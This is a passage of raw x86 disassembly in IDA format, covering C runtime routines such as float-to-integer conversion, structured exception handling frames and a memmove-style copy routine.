		mov	off_4528AC, offset sub_42F270
		pop	ebp
		retn
sub_4230D0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4E923C
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4E923C, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42313C	proc near		; CODE XREF: sub_41017F+1Cp
					; sub_41017F+58p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_42313C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_423170(double)

sub_423170	proc near		; CODE XREF: sub_4101EB+8Dp

var_1C		= qword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0FFFFh
		mov	eax, dword_44FF28
		push	eax
		call	sub_42EA40
		add	esp, 8
		mov	[ebp+var_C], eax
		mov	ecx, dword ptr [ebp+arg_0+6]
		and	ecx, 0FFFFh
		and	ecx, 7FF0h
		cmp	ecx, 7FF0h
		jnz	loc_42322B
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_42E840
		add	esp, 8
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jle	short loc_423202
		cmp	[ebp+var_10], 2
		jle	short loc_4231CE
		cmp	[ebp+var_10], 3
		jz	short loc_4231E7
		jmp	short loc_423202
; ---------------------------------------------------------------------------


loc_4231CE:				; CODE XREF: sub_423170+54j
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+arg_0]
		jmp	loc_4232A1
; ---------------------------------------------------------------------------


loc_4231E7:				; CODE XREF: sub_423170+5Aj
		mov	edx, [ebp+var_C]
		push	edx		; int
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; double
		push	0Ch		; int
		call	sub_42DB00
		add	esp, 10h
		jmp	loc_4232A1
; ---------------------------------------------------------------------------


loc_423202:				; CODE XREF: sub_423170+4Ej
					; sub_423170+5Cj
		mov	edx, [ebp+var_C]
		push	edx		; int
		fld	[ebp+arg_0]
		fadd	dbl_43ED28
		sub	esp, 8
		fstp	[esp+1Ch+var_1C]
		mov	eax, dword ptr [ebp+arg_0+4]
		push	eax		; int
		mov	ecx, dword ptr [ebp+arg_0]
		push	ecx		; int
		push	0Ch		; int
		push	8		; int
		call	sub_42DBD0
		add	esp, 1Ch
		jmp	short loc_4232A1
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_423170+31j
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax		; double
		call	sub_42DAE0
		add	esp, 8
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		fnstsw	ax
		test	ah, 40h
		jz	short loc_423261
		push	0FFFFh
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_4232A1
; ---------------------------------------------------------------------------


loc_423261:				; CODE XREF: sub_423170+D9j
		mov	edx, [ebp+var_C]
		and	edx, 20h
		test	edx, edx
		jz	short loc_423281
		push	0FFFFh
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_42EA40
		add	esp, 8
		fld	[ebp+var_8]
		jmp	short loc_4232A1
; ---------------------------------------------------------------------------


loc_423281:				; CODE XREF: sub_423170+F9j
		mov	ecx, [ebp+var_C]
		push	ecx		; int
		mov	edx, dword ptr [ebp+var_8+4]
		push	edx
		mov	eax, dword ptr [ebp+var_8]
		push	eax		; double
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx		; int
		mov	edx, dword ptr [ebp+arg_0]
		push	edx		; int
		push	0Ch		; int
		push	10h		; int
		call	sub_42DBD0
		add	esp, 1Ch


loc_4232A1:				; CODE XREF: sub_423170+72j
					; sub_423170+8Dj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_423170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232B0	proc near		; CODE XREF: sub_42F9A0+AEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_4232B0	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4232F0	proc near		; CODE XREF: sub_42FE80+50p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4232F0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423300	proc near		; CODE XREF: sub_42FC00+247p

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_423300	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423310	proc near		; CODE XREF: sub_42FC00+21Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_423310	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_423320	proc near		; CODE XREF: sub_423570+66p
					; sub_42F9A0+38p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_42334C
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_43D66C
sub_423320	endp

; ---------------------------------------------------------------------------


loc_42334C:				; DATA XREF: sub_423320+12o
		mov	eax, [ebp+0Ch]
		mov	ecx, [eax+4]
		and	ecx, 0FFFFFFFDh
		mov	edx, [ebp+0Ch]
		mov	[edx+4], ecx
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423380	proc near		; CODE XREF: .XComp0:0043DBD5j
					; .XComp0:0043DBF1j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp+var_8], eax
		push	0
		push	0
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42F300
		add	esp, 20h
		mov	[ebp+var_4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_423380	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		push	0
		mov	ecx, [ebp+8]
		mov	edx, [ecx+18h]
		push	edx
		call	sub_42F870
		add	esp, 10h
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233F0	proc near		; CODE XREF: sub_42FA60+8Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], offset sub_423460
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		call	sub_42FF60
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, [ebp+var_18]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4233F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423460	proc near		; DATA XREF: sub_4233F0+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42F300
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_423460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234A0	proc near		; CODE XREF: sub_42F690+2Dp

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_423570
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_42353C
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_30], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_2C], edx
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_42B630
		call	dword ptr [eax+68h]
		add	esp, 8
		mov	[ebp+var_34], 0


loc_42353C:				; DATA XREF: sub_4234A0+4Bo
		cmp	[ebp+var_4], 0
		jz	short loc_423559
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_423562
; ---------------------------------------------------------------------------


loc_423559:				; CODE XREF: sub_4234A0+A0j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_423562:				; CODE XREF: sub_4234A0+B7j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423570	proc near		; DATA XREF: sub_4234A0+10o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 66h
		test	ecx, ecx
		jz	short loc_423595
		mov	edx, [ebp+arg_4]
		mov	dword ptr [edx+24h], 1
		mov	eax, 1
		jmp	short loc_4235EC
; ---------------------------------------------------------------------------


loc_423595:				; CODE XREF: sub_423570+12j
		push	1
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+8]
		push	edx
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+0Ch]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42F300
		add	esp, 20h
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_4235DB
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_423320
; ---------------------------------------------------------------------------


loc_4235DB:				; CODE XREF: sub_423570+5Cj
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		mov	eax, 1


loc_4235EC:				; CODE XREF: sub_423570+23j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_423570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423600	proc near		; CODE XREF: sub_42F3F0+135p
					; sub_42F690+52p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, [eax+10h]
		mov	esi, [eax+0Ch]
		mov	[ebp+var_4], ecx
		mov	ecx, [ebp+arg_4]
		test	ecx, ecx
		mov	edi, esi
		mov	ebx, esi
		jl	short loc_423659


loc_42361E:				; CODE XREF: sub_423600+54j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_423628
		call	sub_430060


loc_423628:				; CODE XREF: sub_423600+21j
		mov	eax, [ebp+var_4]
		dec	esi
		mov	ecx, [ebp+arg_8]
		lea	edx, [esi+esi*4]
		lea	eax, [eax+edx*4]
		cmp	ecx, [eax+4]
		jle	short loc_42363F
		cmp	ecx, [eax+8]
		jle	short loc_423644


loc_42363F:				; CODE XREF: sub_423600+38j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42364F


loc_423644:				; CODE XREF: sub_423600+3Dj
		mov	eax, [ebp+arg_4]
		mov	edi, ebx
		dec	eax
		mov	ebx, esi
		mov	[ebp+arg_4], eax


loc_42364F:				; CODE XREF: sub_423600+42j
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jge	short loc_42361E
		mov	eax, [ebp+arg_0]


loc_423659:				; CODE XREF: sub_423600+1Cj
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+arg_10]
		inc	esi
		mov	[ecx], esi
		mov	[edx], edi
		cmp	edi, [eax+0Ch]
		ja	short loc_42366D
		cmp	esi, edi
		jbe	short loc_423672


loc_42366D:				; CODE XREF: sub_423600+67j
		call	sub_430060


loc_423672:				; CODE XREF: sub_423600+6Bj
		mov	ecx, [ebp+var_4]
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ecx+eax*4]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_423600	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_423690	proc near		; CODE XREF: sub_425A74+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4236A8
		push	[ebp+arg_0]
		call	sub_43D66C
sub_423690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236A8	proc near		; DATA XREF: sub_423690+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4236A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4236B0	proc near		; DATA XREF: sub_4236D2+Ao
					; sub_42373A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4236D1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4236D1:				; CODE XREF: sub_4236B0+10j
		retn
sub_4236B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236D2	proc near		; CODE XREF: sub_425A74+67p
					; sub_425A74+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4236B0
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4236EF:				; CODE XREF: sub_4236D2:loc_42372Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42372C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_42372C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_42372A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_423766
		call	dword ptr [ebx+esi*4+8]


loc_42372A:				; CODE XREF: sub_4236D2+44j
		jmp	short loc_4236EF
; ---------------------------------------------------------------------------


loc_42372C:				; CODE XREF: sub_4236D2+2Aj
					; sub_4236D2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4236D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42373A	proc near		; CODE XREF: sub_42FB3D+4Bp
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4236B0
		jnz	short locret_42375C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_42375C
		mov	eax, 1

locret_42375C:				; CODE XREF: sub_42373A+10j
					; sub_42373A+1Bj
		retn
sub_42373A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42375D	proc near		; CODE XREF: sub_42FF60+1Ep
					; sub_42FF60+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44FF2C
		jmp	short loc_423770
sub_42375D	endp


; =============== S U B	R O U T	I N E =======================================



sub_423766	proc near		; CODE XREF: sub_4236D2+4Fp
					; sub_425A74+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_44FF2C
		mov	ecx, [ebp+8]


loc_423770:				; CODE XREF: sub_42375D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_423766	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423780	proc near		; CODE XREF: sub_4101EB+5p
					; sub_4103B1+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_423780	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4237A0	proc near		; CODE XREF: sub_410DDE+Cp
					; sub_4268C0+590p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4237C0
		cmp	edi, eax
		jb	loc_423938


loc_4237C0:				; CODE XREF: sub_4237A0+16j
		test	edi, 3
		jnz	short loc_4237DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_4237FC
		rep movsd
		jmp	off_4238E8[edx*4]
; ---------------------------------------------------------------------------


loc_4237DC:				; CODE XREF: sub_4237A0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_4237F4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4237FC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4237F4:				; CODE XREF: sub_4237A0+46j
		jmp	dword ptr loc_4238F8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4237FC:				; CODE XREF: sub_4237A0+31j
					; sub_4237A0+8Ej ...
		jmp	off_42387C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_423810
		dd offset loc_42383C
; ---------------------------------------------------------------------------
		pusha
		cmp	[edx+0], al


loc_423810:				; DATA XREF: sub_4237A0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4237FC
		rep movsd
		jmp	off_4238E8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42383C:				; DATA XREF: sub_4237A0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4237FC
		rep movsd
		jmp	off_4238E8[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4237FC
		rep movsd
		jmp	off_4238E8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_42387C	dd offset loc_4238DF	; DATA XREF: sub_4237A0:loc_4237FCr
		dd offset loc_4238CC
		dd offset loc_4238C4
		dd offset loc_4238BC
		dd offset loc_4238B4
		dd offset loc_4238AC
		dd offset loc_4238A4
		dd offset loc_42389C
; ---------------------------------------------------------------------------


loc_42389C:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4238A4:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4238AC:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4238B4:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4238BC:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4238C4:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4238CC:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4238DF:				; CODE XREF: sub_4237A0:loc_4237FCj
					; DATA XREF: sub_4237A0:off_42387Co
		jmp	off_4238E8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4238E8	dd offset loc_4238F8	; DATA XREF: sub_4237A0+35r
					; sub_4237A0+92r ...
		dd offset loc_423900
		dd offset loc_42390C
		dd offset loc_423920
; ---------------------------------------------------------------------------


loc_4238F8:				; CODE XREF: sub_4237A0+35j
					; sub_4237A0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_423900:				; CODE XREF: sub_4237A0+35j
					; sub_4237A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42390C:				; CODE XREF: sub_4237A0+35j
					; sub_4237A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_423920:				; CODE XREF: sub_4237A0+35j
					; sub_4237A0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_423938:				; CODE XREF: sub_4237A0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_42396C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_423960
		std
		rep movsd
		cld
		jmp	off_423A80[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_423960:				; CODE XREF: sub_4237A0+1B1j
					; sub_4237A0+208j ...
		neg	ecx
		jmp	off_423A30[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_42396C:				; CODE XREF: sub_4237A0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_423984
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_423984+4[eax*4]
; ---------------------------------------------------------------------------


loc_423984:				; CODE XREF: sub_4237A0+1D6j
					; DATA XREF: sub_4237A0+1DDr
		jmp	off_423A80[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		cwde
		cmp	[edx+0], eax
		mov	eax, 0E0004239h
		cmp	[edx+0], eax
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_423960
		std
		rep movsd
		cld
		jmp	off_423A80[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_423960
		std
		rep movsd
		cld
		jmp	off_423A80[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
